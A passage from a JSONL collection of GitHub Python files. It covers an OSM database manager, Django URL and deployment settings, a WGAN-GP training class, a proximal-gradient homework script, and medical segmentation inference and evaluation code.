self.__cursor.fetchone()\n if not record:\n return {}\n return {\"longitude\": record[0], \"latitude\": record[1]}\n\n def get_session_users(self, session_id):\n\n stmt = \"SELECT \" + ', '.join(FIELDS_SESSION_USER) + \" \" \\\n \"FROM rs_sessionuser \" \\\n \"INNER JOIN \" \\\n \" nodes \" \\\n \"ON rs_sessionuser.origin = nodes.node_id \" \\\n \"WHERE session_id = %s\"\n self.__cursor.execute(stmt, (session_id,))\n queryset = self.__cursor.fetchall()\n\n return [map_record_session_user(user) for user in queryset]\n\n def get_session_user_by_pk(self, pk):\n\n stmt = \"SELECT \" + ', '.join(FIELDS_SESSION_USER) + \" \" \\\n \"FROM rs_sessionuser \" \\\n \"INNER JOIN \" \\\n \" nodes \" \\\n \"ON rs_sessionuser.origin = nodes.node_id \" \\\n \"WHERE id = %s\"\n\n self.__cursor.execute(stmt, (pk,))\n queryset = self.__cursor.fetchall()\n\n result = {}\n if len(queryset) == 1:\n result = map_record_session_user(queryset[0])\n return result\n\n def get_session_user(self, session_id, user_id):\n\n stmt = \"SELECT \" + ', '.join(FIELDS_SESSION_USER) + \" \" \\\n \"FROM rs_sessionuser \" \\\n \"INNER JOIN \" \\\n \" nodes \" \\\n \"ON rs_sessionuser.origin = nodes.node_id \" \\\n \"WHERE session_id = %s \" \\\n \"AND user_id = %s\"\n\n self.__cursor.execute(stmt, (session_id, user_id))\n queryset = self.__cursor.fetchall()\n\n result = {}\n if len(queryset) == 1:\n result = map_record_session_user(queryset[0])\n return result\n\n def get_session_nodes(self, session_id, type_, activity=None):\n stmt = \"SELECT id, \" \\\n \" node, \" \\\n \" node_type, \" \\\n \" activity, \" \\\n \" longitude, \" \\\n \" latitude \" \\\n \"FROM rs_sessiongraphnode \" \\\n \"INNER JOIN \" \\\n \" nodes \" \\\n \"ON rs_sessiongraphnode.node = nodes.node_id \" \\\n \"WHERE session_id = %s \" \\\n \"AND node_type = %s\"\n if activity:\n stmt += \" AND activity = %s\"\n self.__cursor.execute(stmt, (session_id, type_, activity))\n else:\n self.__cursor.execute(stmt, (session_id, type_))\n queryset = self.__cursor.fetchall()\n return [{\"id\": node[0],\n \"node\": node[1],\n \"node_type\": node[2],\n \"activity\": node[3],\n \"longitude\": node[4],\n \"latitude\": node[5]} for node in queryset]\n\n def get_session_plan_vehicle_route(self, session_user_id):\n\n stmt = \"SELECT\tid, \" \\\n \" node_i, \" \\\n \" N1.longitude, \" \\\n \" N1.latitude, \" \\\n \" node_j, \" \\\n \" N2.longitude, \" \\\n \" N2.latitude, \" \\\n \" vehicle_id \" \\\n \"FROM\trs_sessionplanvehicleroute \" \\\n \"INNER JOIN \" \\\n \" nodes N1 \" \\\n \"ON node_i = N1.node_id \" \\\n \"INNER JOIN \" \\\n \" nodes N2 \" \\\n \"ON node_j = N2.node_id \" \\\n \"WHERE\tvehicle_id = \" \\\n \" ( \" \\\n \" SELECT\tvehicle_id \" \\\n \" FROM\trs_sessionuservehicle \" \\\n \" WHERE\tuser_id = %s\" \\\n \" )\"\n self.__cursor.execute(stmt, (session_user_id,))\n queryset = self.__cursor.fetchall()\n\n return [{\"id\": node[0],\n \"node_i\": node[1],\n \"node_i_longitude\": node[2],\n \"node_i_latitude\": node[3],\n \"node_j\": node[4],\n \"node_j_longitude\": node[5],\n \"node_j_latitude\": node[6],\n \"vehicle_id\": node[7]} for node in queryset]\n\n def get_session_users_vehicle(self, session_user_id):\n\n stmt = \"SELECT\t\" + ', '.join(FIELDS_SESSION_USER) + \" \" \\\n \"FROM\trs_sessionuservehicle \" \\\n \"INNER JOIN \" \\\n \" rs_sessionuser \" \\\n \"ON rs_sessionuservehicle.user_id = rs_sessionuser.id \" \\\n \"INNER JOIN\" \\\n \" nodes \" \\\n \"ON origin = node_id \" \\\n \"WHERE\tvehicle_id = \" \\\n \" ( \" \\\n \" SELECT\tvehicle_id\" \\\n \" FROM\trs_sessionuservehicle\" \\\n \" WHERE\tuser_id = %s\" \\\n \" )\"\n self.__cursor.execute(stmt, (session_user_id,))\n queryset = self.__cursor.fetchall()\n\n return [map_record_session_user(user) for user in queryset]\n","repo_name":"oscarcorreag/PhD-code","sub_path":"common/osmdbmanager.py","file_name":"osmdbmanager.py","file_ext":"py","file_size_in_byte":24272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36937464140","text":"from django.urls import path\nfrom . import views\nfrom .views import *\n\napp_name = 'account'\nurlpatterns = [\n path('login/', login_view, name='login'),\n path('logout/', logout_view, name='logout'),\n path('register/', register_view, name='register'),\n path('activate//', user_activate_view, name='user_activate'),\n \n]","repo_name":"Alinochka07/new_project","sub_path":"account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"15460229760","text":"import gc\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.layers import Input\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.python.keras.utils import generic_utils\n\nfrom layers import GradientPenalty, RandomWeightedAverage\nfrom meta import ensure_list, input_shapes, Nontrainable, load_opt_weights, save_opt_weights\nfrom vaegantrain import VAE_trainer\nfrom wloss import wasserstein_loss, CL_chooser\n\n\nclass WGANGP(object):\n\n def __init__(self, gen, disc, mode, gradient_penalty_weight=10,\n lr_disc=0.0001, lr_gen=0.0001, avg_seed=None,\n kl_weight=None, ensemble_size=None, CLtype=None,\n content_loss_weight=None):\n\n self.gen = gen\n self.disc = disc\n self.mode = mode\n self.gradient_penalty_weight = gradient_penalty_weight\n self.learning_rate_disc = lr_disc\n self.learning_rate_gen = lr_gen\n self.kl_weight = kl_weight\n self.ensemble_size = ensemble_size\n self.CLtype = CLtype\n self.content_loss_weight = content_loss_weight\n self.build_wgan_gp()\n\n def filenames_from_root(self, root):\n fn = {\n \"gen_weights\": root+\"-gen_weights.h5\",\n \"disc_weights\": root+\"-disc_weights.h5\",\n \"gen_opt_weights\": root+\"-gen_opt_weights.h5\",\n \"disc_opt_weights\": root+\"-disc_opt_weights.h5\"\n }\n return fn\n\n def load(self, load_files):\n self.gen.load_weights(load_files[\"gen_weights\"])\n self.disc.load_weights(load_files[\"disc_weights\"])\n\n with Nontrainable(self.disc):\n self.gen_trainer.make_train_function()\n load_opt_weights(self.gen_trainer,\n load_files[\"gen_opt_weights\"])\n with Nontrainable(self.gen):\n self.disc_trainer.make_train_function()\n load_opt_weights(self.disc_trainer,\n load_files[\"disc_opt_weights\"])\n\n def save(self, save_fn_root):\n paths = self.filenames_from_root(save_fn_root)\n self.gen.save_weights(paths[\"gen_weights\"], overwrite=True)\n self.disc.save_weights(paths[\"disc_weights\"], overwrite=True)\n save_opt_weights(self.disc_trainer, paths[\"disc_opt_weights\"])\n save_opt_weights(self.gen_trainer, paths[\"gen_opt_weights\"])\n\n def build_wgan_gp(self):\n\n # find shapes for inputs\n if self.mode == 'GAN':\n cond_shapes = input_shapes(self.gen, \"lo_res_inputs\")\n const_shapes = input_shapes(self.gen, \"hi_res_inputs\")\n noise_shapes = input_shapes(self.gen, \"noise_input\")\n elif self.mode == 'VAEGAN':\n cond_shapes = input_shapes(self.gen.encoder, \"lo_res_inputs\")\n const_shapes = input_shapes(self.gen.encoder, \"hi_res_inputs\")\n noise_shapes = input_shapes(self.gen.decoder, \"noise_input\")\n sample_shapes = input_shapes(self.disc, \"output\")\n\n # Create generator training network\n with Nontrainable(self.disc):\n if self.mode == 'GAN':\n cond_in = [Input(shape=cond_shapes[0])]\n const_in = [Input(shape=const_shapes[0])]\n\n if self.ensemble_size is None:\n noise_in = [Input(shape=noise_shapes[0])]\n else:\n noise_in = [Input(shape=noise_shapes[0])\n for ii in range(self.ensemble_size + 1)]\n gen_in = cond_in + const_in + noise_in\n\n gen_out = self.gen(gen_in[0:3]) # only use cond/const/noise\n gen_out = ensure_list(gen_out)\n disc_in_gen = cond_in + const_in + gen_out\n disc_out_gen = self.disc(disc_in_gen)\n full_gen_out = [disc_out_gen]\n if self.ensemble_size is not None:\n # generate ensemble of predictions and add mean to gen_trainer output\n preds = [self.gen([gen_in[0], gen_in[1], gen_in[3+ii]])\n for ii in range(self.ensemble_size)]\n preds = tf.stack(preds)\n full_gen_out.append(preds)\n self.gen_trainer = Model(inputs=gen_in,\n outputs=full_gen_out,\n name='gen_trainer')\n elif self.mode == 'VAEGAN':\n self.gen_trainer = VAE_trainer(self.gen, self.disc,\n self.kl_weight,\n self.ensemble_size,\n self.CLtype,\n self.content_loss_weight)\n\n # Create discriminator training network\n with Nontrainable(self.gen):\n cond_in = [Input(shape=s, name='lo_res_inputs') for s in cond_shapes]\n const_in = [Input(shape=s, name='hi_res_inputs') for s in const_shapes]\n noise_in = [Input(shape=s, name='noise_input') for s in noise_shapes]\n sample_in = [Input(shape=s, name='output') for s in sample_shapes]\n gen_in = cond_in + const_in + noise_in\n disc_in_real = sample_in[0]\n if self.mode == 'GAN':\n disc_in_fake = self.gen(gen_in)\n elif self.mode == 'VAEGAN':\n encoder_in = cond_in + const_in\n encoder_mean, encoder_log_var = self.gen.encoder(encoder_in)\n decoder_in = [encoder_mean, encoder_log_var, noise_in, const_in]\n disc_in_fake = self.gen.decoder(decoder_in)\n disc_in_avg = RandomWeightedAverage()([disc_in_real, disc_in_fake])\n disc_out_real = self.disc(cond_in + const_in + [disc_in_real])\n disc_out_fake = self.disc(cond_in + const_in + [disc_in_fake])\n disc_out_avg = self.disc(cond_in + const_in + [disc_in_avg])\n disc_gp = GradientPenalty()([disc_out_avg, disc_in_avg])\n self.disc_trainer = Model(inputs=cond_in + const_in + noise_in + sample_in,\n outputs=[disc_out_real, disc_out_fake, disc_gp],\n name='disc_trainer')\n\n self.compile()\n\n def compile(self, opt_disc=None, opt_gen=None):\n # create optimizers\n if opt_disc is None:\n opt_disc = Adam(learning_rate=self.learning_rate_disc, beta_1=0.5, beta_2=0.9)\n self.opt_disc = opt_disc\n if opt_gen is None:\n opt_gen = Adam(learning_rate=self.learning_rate_gen, beta_1=0.5, beta_2=0.9)\n self.opt_gen = opt_gen\n\n with Nontrainable(self.disc):\n if self.mode == 'GAN':\n if self.ensemble_size is not None:\n CLfn = CL_chooser(self.CLtype)\n losses = [wasserstein_loss, CLfn]\n loss_weights = [1.0, self.content_loss_weight]\n else:\n losses = [wasserstein_loss]\n loss_weights = [1.0]\n self.gen_trainer.compile(loss=losses,\n loss_weights=loss_weights,\n optimizer=self.opt_gen)\n elif self.mode == 'VAEGAN':\n self.gen_trainer.compile(optimizer=self.opt_gen)\n with Nontrainable(self.gen):\n self.disc_trainer.compile(\n loss=[wasserstein_loss, wasserstein_loss, 'mse'],\n loss_weights=[1.0, 1.0, self.gradient_penalty_weight],\n optimizer=self.opt_disc\n )\n self.disc_trainer.summary()\n\n def train(self, batch_gen, noise_gen, num_gen_batches=1,\n training_ratio=1, show_progress=True):\n\n disc_target_real = None\n for inputs, _ in batch_gen.take(1).as_numpy_iterator():\n tmp_batch = inputs[\"lo_res_inputs\"]\n batch_size = tmp_batch.shape[0]\n del tmp_batch\n del inputs\n if show_progress:\n # Initialize progbar and batch counter\n progbar = generic_utils.Progbar(num_gen_batches*batch_size)\n disc_target_real = np.ones((batch_size, 1), dtype=np.float32)\n disc_target_fake = -disc_target_real\n gen_target = disc_target_real\n target_gp = np.zeros((batch_size, 1), dtype=np.float32)\n disc_target = [disc_target_real, disc_target_fake, target_gp]\n\n batch_gen_iter = iter(batch_gen)\n\n if self.mode == 'VAEGAN':\n for tracker in self.gen_trainer.metrics:\n tracker.reset_states()\n\n for kk in range(num_gen_batches):\n\n # train discriminator\n disc_loss = None\n disc_loss_n = 0\n for rep in range(training_ratio):\n # generate some real samples\n inputs, outputs = batch_gen_iter.get_next()\n cond = inputs[\"lo_res_inputs\"]\n const = inputs[\"hi_res_inputs\"]\n sample = outputs[\"output\"]\n\n with Nontrainable(self.gen):\n dl = self.disc_trainer.train_on_batch(\n [cond, const, noise_gen(), sample], disc_target)\n\n if disc_loss is None:\n disc_loss = np.array(dl)\n else:\n disc_loss += np.array(dl)\n disc_loss_n += 1\n\n del sample, cond, const\n\n disc_loss /= disc_loss_n\n\n with Nontrainable(self.disc):\n inputs, outputs = batch_gen_iter.get_next()\n cond = inputs[\"lo_res_inputs\"]\n const = inputs[\"hi_res_inputs\"]\n sample = outputs[\"output\"]\n\n condconst = [cond, const]\n if self.ensemble_size is None:\n gt_outputs = [gen_target]\n noise_list = [noise_gen()]\n else:\n noise_list = [noise_gen()\n for ii in range(self.ensemble_size + 1)]\n gt_outputs = [gen_target, sample]\n gt_inputs = condconst + noise_list\n\n if self.mode == 'GAN':\n gen_loss = self.gen_trainer.train_on_batch(\n gt_inputs, gt_outputs)\n elif self.mode == 'VAEGAN':\n gen_loss = self.gen_trainer.train_step(\n [gt_inputs, gt_outputs])\n\n gen_loss = ensure_list(gen_loss)\n del sample, cond, const\n\n if show_progress:\n losses = []\n for ii, dl in enumerate(disc_loss):\n losses.append((f\"D{ii}\", dl))\n for ii, gl in enumerate(gen_loss):\n losses.append((f\"G{ii}\", gl))\n progbar.add(batch_size,\n values=losses)\n\n loss_log = {}\n if self.mode == \"det\":\n raise RuntimeError(\"Doctor, what are you doing here? You're supposed to be on Gallifrey\")\n elif self.mode == \"GAN\":\n loss_log[\"disc_loss\"] = disc_loss[0]\n loss_log[\"disc_loss_real\"] = disc_loss[1]\n loss_log[\"disc_loss_fake\"] = disc_loss[2]\n loss_log[\"disc_loss_gp\"] = disc_loss[3]\n loss_log[\"gen_loss_total\"] = gen_loss[0]\n if self.ensemble_size is not None:\n loss_log[\"gen_loss_disc\"] = gen_loss[1]\n loss_log[\"gen_loss_ct\"] = gen_loss[2]\n elif self.mode == \"VAEGAN\":\n loss_log[\"disc_loss\"] = disc_loss[0]\n loss_log[\"disc_loss_real\"] = disc_loss[1]\n loss_log[\"disc_loss_fake\"] = disc_loss[2]\n loss_log[\"disc_loss_gp\"] = disc_loss[3]\n loss_log[\"gen_loss_total\"] = gen_loss[0].numpy()\n loss_log[\"gen_loss_disc\"] = gen_loss[1].numpy()\n loss_log[\"gen_loss_kl\"] = gen_loss[2].numpy()\n if self.ensemble_size is not None:\n loss_log[\"gen_loss_ct\"] = gen_loss[3].numpy()\n gc.collect()\n\n return loss_log\n","repo_name":"ljharris23/public-downscaling-cgan","sub_path":"dsrnngan/gan.py","file_name":"gan.py","file_ext":"py","file_size_in_byte":12158,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"38"} +{"seq_id":"14790807274","text":"import os\nimport dj_database_url\n\nfrom .base import *\n\nSPA_BASE_URL = os.environ.get('SPA_BASE_URL')\n\nSECRET_KEY = os.environ.get('SECRET_KEY')\nDEBUG = False\n\nALLOWED_HOSTS = [\n 'www.coretabs.net',\n 'coretabs.net',\n '0.0.0.0'\n]\n\nCORS_ORIGIN_ALLOW_ALL = False\nCORS_ORIGIN_WHITELIST = (\n 'spa.coretabs.net', 'www.coretabs.net', 'coretabs.net')\n\nSESSION_COOKIE_DOMAIN = '.coretabs.net'\nCSRF_COOKIE_DOMAIN = '.coretabs.net'\n\nDATABASES = {\n 'default': dj_database_url.config(\n default=os.environ.get('DATABASE_URL')\n )\n}\n\n\n# EMAIL config\nEMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\nEMAIL_HOST = os.environ.get('EMAIL_HOST')\nEMAIL_PORT = 587\nEMAIL_USE_TLS = True\nEMAIL_HOST_USER = os.environ.get('EMAIL_HOST_USER')\nEMAIL_HOST_PASSWORD = os.environ.get('EMAIL_HOST_PASSWORD')\nDEFAULT_FROM_EMAIL = os.environ.get('DEFAULT_FROM_EMAIL')\n\nDISCOURSE_BASE_URL = os.environ.get('DISCOURSE_BASE_URL')\nDISCOURSE_SSO_SECRET = os.environ.get('DISCOURSE_SSO_SECRET')\nDISCOURSE_API_KEY = os.environ.get('DISCOURSE_API_KEY')\nDISCOURSE_API_USERNAME = os.environ.get('DISCOURSE_API_USERNAME')\n\nMANAGERS_EMAILS = os.environ.get('MANAGERS_EMAILS').split(';')\n\nRAVEN_CONFIG = {\n 'dsn': os.environ.get('SENTRY_DSN'),\n}\n\nDJANGO_LOGGING = {\n 'SQL_LOG': False,\n 'CONSOLE_LOG': False,\n}\n\nMIDDLEWARE += [\n # Simplified static file serving.\n # https://warehouse.python.org/project/whitenoise/\n 'whitenoise.middleware.WhiteNoiseMiddleware']\n","repo_name":"RadiObad/website-v2","sub_path":"src/coretabs/settings/deploy_settings.py","file_name":"deploy_settings.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72510794032","text":"import numpy\n\nlamb = 1\neps = 1e-12\n\nclass Segment(object):\n \"\"\" \n suml: number of points to the left of this segment\n sumr: number of points to the right of this segment\n count: number of points contained in this segment\n \"\"\"\n def __init__(self, u, x_mean, suml, sumr, count):\n self.u = u\n self.x_mean = x_mean\n self.suml = suml\n self.sumr = sumr\n self.count = count\n \n def to_list(self):\n N = int(numpy.round(self.count))\n list_u = [self.u] * N\n list_count = [self.count] * N\n return list_u, list_count\n\n \"\"\" Merge with another segment `seg`\n Assume `self` is the left one and `seg` is the right one\n\n lamb: lambda\n \"\"\"\n def merge(self, seg):\n global lamb\n count = self.count + seg.count\n x_mean = (self.x_mean * self.count + seg.x_mean * seg.count)/count\n suml = self.suml\n sumr = seg.sumr\n u = x_mean + (sumr - suml) * lamb\n return Segment(u, x_mean, suml, sumr, count)\n\n def __str__(self):\n return 'u=%f, x=%f, suml=%f, sumr=%f, count=%f' % (self.u, self.x_mean,\n self.suml, self.sumr, self.count)\n\n\"\"\"\n Try merging the top and the second top segments in this stack\n the top segment is the rightmost one\n stack: a list of segments viewed as a stack\n\"\"\"\ndef down_merge(stack):\n global eps\n while len(stack) > 1:\n segr = stack[-1]\n segl= stack[-2]\n if segr.u - eps < segl.u:\n \"\"\" Merge seg1 and seg2 \"\"\"\n new_seg = segl.merge(segr)\n stack.pop()\n stack[-1] = new_seg\n else:\n break\n return stack\n\ndef check(x, u, l):\n global lamb, eps\n N = len(x)\n\n suml = 0\n sumr = N\n for i in range(N):\n if (i == 0) or abs(u[i] - u[i-1]) > eps:\n sumr -= l[i]\n c = u[i] - x[i] - (sumr - suml)*lamb\n if (c - l[i]*lamb > eps) or (c + l[i]*lamb < -eps):\n print('x', x)\n print('u', u)\n print('l', l)\n print('i=%d, suml=%f, sumr=%f, c=%f, lamb=%f, mean_x=%f' % (i, suml, sumr, c,\n lamb, numpy.mean(x)))\n return False\n if (i == N-1) or abs(u[i+1] - u[i]) > eps:\n suml += l[i]\n\n return True\n\n\"\"\"\n x: a vector of dimension N, assuming sorted non-decreasingly\n output: u_star = argmin_{u} \\sum_{i < j} |u_i - u_j| + 0.5 * \\sum_i (u_i - x_i)^2\n\"\"\"\ndef prox_1D(x):\n global lamb\n\n \"\"\" for recovery \"\"\"\n x0 = [xi for xi in x]\n N0 = len(x)\n\n N = N0\n stack = []\n for i in range(N):\n u = x[i] + (N-1-2*i)*lamb\n seg = Segment(u, x[i], i, N-1-i, 1.0)\n stack.append(seg)\n down_merge(stack)\n\n u_star = []\n l_star = []\n for seg in stack:\n u_s, l_s = seg.to_list()\n u_star = u_star + u_s\n l_star = l_star + l_s\n\n assert check(x0, u_star, l_star)\n return u_star\n\n\"\"\" \n x: M vectors, each has dimension N\n output: u_star = argmin_{u} lamb * \\sum_{i < j} \\|u_i - u_j \\|_1 + 0.5 * \\sum_i \\|u_i - x_i\\|_2^2\n\"\"\"\ndef prox(x):\n [M, N] = x.shape\n u = []\n for n in range(N):\n z = numpy.asarray([x[i][n] for i in range(M)])\n sort_index = numpy.argsort(z)\n sorted_u = prox_1D([z[sort_index[i]] for i in range(M)])\n u_d = [0] * M\n for i in range(M):\n u_d[sort_index[i]] = sorted_u[i]\n u.append(u_d)\n u = numpy.transpose(numpy.asarray(u))\n return u \n\nimport scipy.io as sio\n\ndata = sio.loadmat('hw4_data.mat')\nA = []\nfor Ai in data['A']:\n A.append(Ai[0])\n\nb = []\nfor bi in data['b']:\n b.append(numpy.squeeze(bi[0]))\n\nM = len(A)\nassert M == len(b)\nN = A[0].shape[1]\n\n#print A[0].shape, b[0].shape\n\nx = numpy.zeros([M, N])\n\nz = numpy.copy(x)\n\nmax_iter = 1000\nalpha = 1e-3\nbeta = 1.0\nfor i in range(max_iter):\n grad = numpy.zeros([M, N])\n for m in range(M):\n #print A[m].shape, x[m].shape, b[m].shape\n #print type(A[m]), type(x[m]), type(b[m])\n #temp = A[m].dot(x[m]) \n #print temp.shape\n grad[m] = 2*A[m].T.dot(A[m].dot(z[m]) - b[m])\n #print x.shape\n lamb = lamb*alpha\n beta_new = 0.5*(1 + numpy.sqrt(1 + 4.0*beta*beta))\n x_new = prox(z - alpha*grad)\n z_new = x_new + (beta - 1)/ (beta_new)*(x_new - x)\n x = x_new\n z = z_new\n beta = beta_new\n #x = x - t_i*grad\n lamb = lamb/alpha\n #print x.shape\n obj = 0.0\n for m in range(M):\n obj += numpy.linalg.norm(A[m].dot(x[m]) - b[m], 2) ** 2\n\n for m in range(M):\n for m2 in range(m):\n \"\"\" m2 < m \"\"\"\n obj += lamb*numpy.linalg.norm(x[m2] - x[m], 1)\n print('iter=%d, obj=%f' % (i, obj))\n\n#\"\"\" Construct D by N matrix `x` \"\"\"\n#x = []\n#for d in range(D):\n# x.append([numpy.random.uniform()*N for n in range(N)])\n#x = numpy.asarray(x)\n#\n#print(x.shape)\n#prox(x)\n","repo_name":"xiangruhuang/Numerical_Optimization","sub_path":"homework_code/prox.py","file_name":"prox.py","file_ext":"py","file_size_in_byte":4878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24634835219","text":"import numpy as np\nfrom medpy import metric\nfrom scipy.ndimage import zoom\nimport SimpleITK as sitk\nfrom tqdm import tqdm\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\n\n\ndef calculate_metric_percase(pred, gt):\n pred[pred > 0] = 1\n gt[gt > 0] = 1\n if pred.sum() > 0 and gt.sum()>0:\n dice = metric.binary.dc(pred, gt)\n hd95 = metric.binary.hd95(pred, gt)\n return dice, hd95\n elif pred.sum() > 0 and gt.sum()==0:\n return 1, 0\n else:\n return 0, 0\n\n\ndef test_single_volume(image, label, net, classes, patch_size=[256, 256], test_save_path=None, case=None, z_spacing=1):\n image, label = image.squeeze(0).cpu().detach().numpy(), label.squeeze(0).cpu().detach().numpy()\n if len(image.shape) == 3:\n prediction = np.zeros_like(label)\n for ind in range(image.shape[0]):\n slice = image[ind, :, :]\n x, y = slice.shape[0], slice.shape[1]\n if x != patch_size[0] or y != patch_size[1]:\n slice = zoom(slice, (patch_size[0] / x, patch_size[1] / y), order=3) # previous using 0\n input = torch.from_numpy(slice).unsqueeze(0).unsqueeze(0).float().cuda()\n net.eval()\n with torch.no_grad():\n outputs = net(input)\n out = torch.argmax(torch.softmax(outputs, dim=1), dim=1).squeeze(0)\n out = out.cpu().detach().numpy()\n if x != patch_size[0] or y != patch_size[1]:\n pred = zoom(out, (x / patch_size[0], y / patch_size[1]), order=0)\n else:\n pred = out\n prediction[ind] = pred\n else:\n input = torch.from_numpy(image).unsqueeze(\n 0).unsqueeze(0).float().cuda()\n net.eval()\n with torch.no_grad():\n out = torch.argmax(torch.softmax(net(input), dim=1), dim=1).squeeze(0)\n prediction = out.cpu().detach().numpy()\n metric_list = []\n for i in range(1, classes):\n metric_list.append(calculate_metric_percase(prediction == i, label == i))\n\n if test_save_path is not None:\n img_itk = sitk.GetImageFromArray(image.astype(np.float32))\n prd_itk = sitk.GetImageFromArray(prediction.astype(np.float32))\n lab_itk = sitk.GetImageFromArray(label.astype(np.float32))\n img_itk.SetSpacing((1, 1, z_spacing))\n prd_itk.SetSpacing((1, 1, z_spacing))\n lab_itk.SetSpacing((1, 1, z_spacing))\n sitk.WriteImage(prd_itk, test_save_path + '/'+case + \"_pred.nii.gz\")\n sitk.WriteImage(img_itk, test_save_path + '/'+ case + \"_img.nii.gz\")\n sitk.WriteImage(lab_itk, test_save_path + '/'+ case + \"_gt.nii.gz\")\n return metric_list\n\n\ndef inference(args, model, logging, test_save_path=None):\n db_test = args.Dataset(base_dir=args.test_volume_path, n_fold=5, fold_num=0,dim=2, split=\"test_vol\",random_seed=args.seed)\n testloader = DataLoader(db_test, batch_size=1, shuffle=False, num_workers=1)\n logging.info(\"{} test iterations per epoch\".format(len(testloader)))\n model.eval()\n metric_list = 0.0\n for i_batch, sampled_batch in tqdm(enumerate(testloader)):\n h, w = sampled_batch[\"image\"].size()[2:]\n image, label, case_name = sampled_batch[\"image\"], sampled_batch[\"label\"], sampled_batch['case_name'][0]\n metric_i = test_single_volume(image, label, model, classes=args.num_classes, patch_size=[args.img_size, args.img_size],\n test_save_path=test_save_path, case=case_name, z_spacing=args.z_spacing)\n metric_list += np.array(metric_i)\n logging.info('idx %d case %s mean_dice %f mean_hd95 %f' % (i_batch, case_name, np.mean(metric_i, axis=0)[0], np.mean(metric_i, axis=0)[1]))\n metric_list = metric_list / len(db_test)\n for i in range(1, args.num_classes):\n logging.info('Mean class %d mean_dice %f mean_hd95 %f' % (i, metric_list[i-1][0], metric_list[i-1][1]))\n performance = np.mean(metric_list, axis=0)[0]\n mean_hd95 = np.mean(metric_list, axis=0)[1]\n logging.info('Testing performance in best val model: mean_dice : %f mean_hd95 : %f' % (performance, mean_hd95))\n return performance, mean_hd95, \"Testing Finished!\"","repo_name":"yggame/GINN","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":4214,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"70589717230","text":"import os\nimport os.path as osp\nimport numpy as np\nimport cv2, argparse\nfrom PIL import Image\nimport pylab, pickle\nfrom pyutils import Evaluator, read_yaml2cls\nimport shutil\nimport matplotlib.pyplot as plt\nplt.switch_backend('agg')\n\nimport matplotlib.colors as mpl_colors\n\npalette = [(0.0, 0.0, 0.0), (0.5, 0.0, 0.0), (0.0, 0.5, 0.0), (0.5, 0.5, 0.0),\n (0.0, 0.0, 0.5), (0.5, 0.0, 0.5), (0.0, 0.5, 0.5), (0.5, 0.5, 0.5),\n (0.25, 0.0, 0.0), (0.75, 0.0, 0.0), (0.25, 0.5, 0.0), (0.75, 0.5, 0.0),\n (0.25, 0.0, 0.5), (0.75, 0.0, 0.5), (0.25, 0.5, 0.5), (0.75, 0.5, 0.5),\n (0.0, 0.25, 0.0), (0.5, 0.25, 0.0), (0.0, 0.75, 0.0), (0.5, 0.75, 0.0),\n (0.0, 0.25, 0.5), (0.75, 0.75, 0.75)]\nmy_cmap = mpl_colors.LinearSegmentedColormap.from_list('Custom cmap', palette, 22)\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--res_path\", default=None, type=str)\n parser.add_argument(\"--num_classes\", default=21, type=int)\n parser.add_argument(\"--save_path\", default=None, type=str)\n args = parser.parse_args()\n\n return args\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n args.res_path = \"/data1/yaoqi/segmentation/weakly/wsss/dsrg/training/experiment/anti-noise/result/seg_res_trainaug_5755/\"\n args.save_path = \"seed_mIoU\"\n args.num_classes = 22\n\n res_path = args.res_path\n if not osp.exists(args.save_path):\n os.makedirs(args.save_path)\n\n gt_path = \"/data1/yaoqi/Dataset/VOCdevkit/VOC2012/SegmentationClassAug/\"\n gt_rgb_path = \"/data1/yaoqi/Dataset/VOCdevkit/VOC2012/SegmentationClassAug_color/\"\n\n names = os.listdir(res_path)\n ignore = True if args.num_classes > 21 else False\n evaluator = Evaluator(num_class=args.num_classes, ignore=ignore)\n # names = [\"2008_007519.png\"]\n\n name_mIoU = dict()\n for k, name in enumerate(names):\n res = np.array(Image.open(osp.join(res_path, name)))\n gt = np.array(Image.open(osp.join(gt_path, name)))\n gt_rgb = cv2.imread(osp.join(gt_rgb_path, name))\n\n evaluator.add_batch(gt, res)\n\n _, mIoU = evaluator.Mean_Intersection_over_Union_ignore()\n \n f = plt.figure(facecolor=\"white\")\n ax = f.add_subplot(1, 2, 1)\n res[0, 0] = 21\n ax.imshow(res, cmap=my_cmap)\n ax.axis(\"off\")\n\n ax = f.add_subplot(1, 2, 2)\n ax.imshow(gt_rgb[:, :, ::-1])\n ax.axis(\"off\")\n\n new_name = \"{:.4f}_{}\".format(mIoU, name)\n plt.tight_layout()\n plt.subplots_adjust(wspace=0.01, hspace=0.01)\n plt.savefig(os.path.join(args.save_path, new_name))\n plt.close()\n \n evaluator.reset()\n name_mIoU[name.split(\".png\")[0]] = mIoU\n if (k + 1) % 500 == 0:\n print(\"finish {} files\".format(k + 1))\n \n pickle.dump(name_mIoU, open(\"name_mIoU_5755.pkl\", \"wb\"), pickle.HIGHEST_PROTOCOL)\n\n","repo_name":"yaoqi-zd/SGAN","sub_path":"dsrg/training/tools/eval_mIoU_seed.py","file_name":"eval_mIoU_seed.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"38"} +{"seq_id":"9324980136","text":"from rest_framework import routers\nfrom django.urls import path, include\n\nfrom .views import *\n\nrouter = routers.DefaultRouter()\nrouter.register('book_seat', BookSeatsViewsets, 'book_seat')\nrouter.register('seat_manager', SeatManagerViewsets, 'seat_manager')\n\nurlpatterns = [\n path(r'', include(router.urls)),\n path('available_seat/', SeatsList.as_view()),\n path('available_slot/', 